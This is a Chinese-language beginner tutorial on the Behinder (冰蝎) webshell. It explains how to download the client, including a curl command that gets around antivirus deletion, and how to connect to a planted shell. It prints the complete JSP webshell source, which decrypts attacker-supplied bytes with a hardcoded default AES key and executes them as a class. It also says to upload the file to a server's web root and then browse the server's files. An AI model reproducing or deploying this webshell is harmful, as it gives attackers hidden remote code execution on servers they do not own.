冰蝎入门级webshell攻击
安装
到地址 https://github.com/rebeyond/Behinder/releases 中选Behinder_v4.0.5版本下载,但是列出的三包文件里都没有示例shell文件。可以选择 Behinder_v3.0.11【t00ls专版】下载来查看里面的示例shell文件,注意要到linux系统下解压,如果在windows下解压的话,你会看不到解压出来的shell文件,会被windows系统自动删除。windows系统可能下载后会被立即删除,可以使用命令HTTPS_PROXY=http://xxxx:xx curl -LO https://github.com/rebeyond/Behinder/releases/download/Behinder_v3.0_Beta_11_for_tools/Behinder_v3.0_Beta_11.t00ls.zip
到Linux下载。
Behinder_v4.0.5版本解压后会看到三个文件,双击其中的Behinder.jar可执行文件即可。可以看到如下界面:
然后,在该界面的空白处点击鼠标右键“新增”菜单,填写属性,如下图所示:
点击保存后,双击该项发起连接。显示右上角显示“已连接”,左下角显示 “[OK]连接成功,基本信息获取完成。”就表示连接成功。
JSP脚本的编写
上面操作步骤简单,但是shell.jsp是什么,它是谁,它在哪? Behinder_v3.0.11【t00ls专版】中有示例shell文件:shell.asp shell.aspx shell_java9.jsp shell.jsp shell.jspx.jsp shell.php. 因为我们的web server是用JAVA写的这里选用shell.jsp的格式。该文件的内容如下(已调整格式,原内容没有空格和换行):
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoader c) {
super(c);
}
public Class g(byte []b) {
return super.defineClass(b,0,b.length);
}
}%><%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
%>
需要把该文件上传到web server的展示页面目录下,例如常见的/var/www/html/(每个Server不一样,看你的Webserver情况而定)。如果放置不当,server找不到会报404错误。新版Webshell在上述代码外增加了AAAAA、bbbb两个输出,格式像这样AAA<...>BBB 我的web server用这两个格式都可以,冰蝎的客户端版本是Behinder_v4.0.5。建立连接成功后,点击“文件管理”,双击“目录结构”可以看到server的文件目录。这个web server可以部署在物理机上也可以部署在容器里。